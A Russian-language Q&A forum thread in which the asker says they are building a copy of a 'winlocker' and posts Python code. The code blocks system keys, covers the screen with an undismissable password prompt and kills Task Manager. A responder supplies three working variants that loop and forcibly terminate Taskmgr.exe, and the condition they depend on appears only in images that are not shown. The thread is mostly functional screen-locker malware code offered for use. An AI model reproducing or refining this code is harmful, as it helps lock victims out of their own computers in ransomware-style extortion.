Поиск и завершение приложения в MS Windows

Я делаю копию winlocker и мне надо сделать "Радар", который бы искал диспетчер задач и его закрывал. Некоторые идеи брал с форумов, так что не судите меня строго Вот сам код:

import os #Нужен для выключения компа
import time
from tkinter import*
from screeninfo import get_monitors
import psutil
import keyboard           #Первая защита-блокировка кнопок для вызова диспетчер задач
keyboard.block_key("win")
keyboard.block_key("shift")
keyboard.block_key("ctrl")
keyboard.block_key("esc")
keyboard.block_key("Alt")
keyboard.block_key("Delete")
#Изучает размер экрана
for monitor in get_monitors():
    screen_size =f"{monitor.width}x{monitor.height}"
root = Tk() #Создаем окно и задаем цвет, размер и ставим защиту от закрытия окна
root.config(bg="black")
root.geometry(str(screen_size))
root.overrideredirect(1)
def search_taskmgr():                 #Вторая защита(Наработает) - Ищет работающий диспетчер задач и отрубает его
    for process in psutil.process_iter():
        if process.name().lower() == 'taskmgr.exe':
            process.terminate()
            root.after(100,search_taskmgr)
def screen_close():
    root.destroy()
button_close_root = Button(root,text="Close",command=screen_close) #Экстранная кнопка если не получается выйти из программы
lab_info_block = Label(root,text="Ваш компьютер заблокирован\nНе пробуй зайти в диспетчер задач, он заблокирован :):):)",fg="red",font="Courier 50",bg="black")
ent_password_winloker = Entry(root,font="Courier 50")
lab_enter_password_to_ent = Label(root,text="Введите пароль чтоб разблокировать компьютер",bg="black",fg="red",font="Courier 25")
lab_info_block.grid(row=1,column=1,padx=50)
lab_enter_password_to_ent.grid(row=2,column=1,pady=50)
ent_password_winloker.grid(row=3,column=1,pady=500)
button_close_root.grid(row=5,column=1)
search_taskmgr()
root.mainloop()

Ответы (1 шт):

Автор решения: Amgarak

Мне больше нравиться использовать библиотеку pywin32

pip install pywin32

import time
import win32process
import win32api
import win32con

def is_task_manager_running():
    process_ids = win32process.EnumProcesses()
    for pid in process_ids:
        try:
            h_process = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid)
            exe_name = win32process.GetModuleFileNameEx(h_process, 0)
            win32api.CloseHandle(h_process)
            if 'Taskmgr.exe' in exe_name:
                return pid
        except Exception:
            ...

def kill_process(pid):
    try:
        h_process = win32api.OpenProcess(win32con.PROCESS_TERMINATE, False, pid)
        win32api.TerminateProcess(h_process, 0)
        win32api.CloseHandle(h_process)
        print(f"Процесс с PID {pid} завершён")
    except Exception as e:
        print(f"Не удалось завершить процесс с PID {pid}: {e}")

while True:
    pid = is_task_manager_running()
    if pid:
        print("Диспетчер задач открыт, пытаемся завершить процесс...")
        kill_process(pid)
    time.sleep(1)  

Или всё тоже самое:

import time
import psutil

def search_taskmgr():  
    while True:
        for process in psutil.process_iter():
            if process.name() == 'Taskmgr.exe':
                process.terminate()        
        time.sleep(1)
            
search_taskmgr()

А вообще можно и не узнавать PID, а просто по имени убивать..

import time
import subprocess

def kill_task_manager():
    try:
        subprocess.run(['taskkill', '/IM', 'Taskmgr.exe', '/F'], check=True)
        print("Диспетчер задач был успешно завершён.")
    except subprocess.CalledProcessError as e:
        print(f"Ошибка при завершении Диспетчера задач: {e}")

while True:
    kill_task_manager()
    time.sleep(1)

введите сюда описание изображения

taskkill - Запускает утилиту для завершения процессов.

/IM Taskmgr.exe - Указывает, что нужно завершить процесс с именем Taskmgr.exe.

/F - Принудительно завершает процесс, даже если он не отвечает.


Вот только всё это будет работать только при одном условии..

Условие: введите сюда описание изображения

введите сюда описание изображения

→ Ссылка